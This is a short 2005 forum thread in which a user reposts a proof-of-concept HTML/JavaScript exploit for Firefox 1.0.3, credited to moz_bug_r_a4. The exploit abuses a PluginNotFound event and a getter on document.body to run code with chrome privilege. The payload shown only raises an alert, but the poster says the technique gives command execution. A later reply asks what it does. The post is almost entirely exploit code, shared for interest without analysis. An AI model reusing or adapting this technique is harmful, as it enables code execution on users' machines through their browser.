HFX Forum

Programming => Web Languages => Topic started by: benthehutt on May 29, 2005, 09:06:09 PM

Title: Firefox exploit
Post by: benthehutt on May 29, 2005, 09:06:09 PM
I found a pretty dangerous firefox mishap, turns out you can get some pretty major command executions exploits from something like this:

<html>
<head>
<title>Proof-of-Concept for Firefox 1.0.3 - by moz_bug_r_a4</title>
<body>
<script>
// it needs chrome privilege to get |Components.stack|
var code = "alert('Exploit!\\n\\n' + Components.stack);";
var evalCode = code.replace(/'/g, '"').replace(/\\/g, '\\\\');
var scriptCode = "arguments.callee.__parent__.eval('" + evalCode + "');'';";

var script = (function() {
function x() { new Object(); }
return new Script(scriptCode);
})();

document.body.__defineGetter__("type", function() {
return { toString : script };
});

var event = document.createEvent("Events");
event.initEvent("PluginNotFound", true, true);
document.body.dispatchEvent(event);
</script>
</body>


I didn't write it, just thought it was interesting.
Title: Re:Firefox exploit
Post by: akshayd on February 28, 2007, 10:40:31 AM
can u explan what exactly it dose????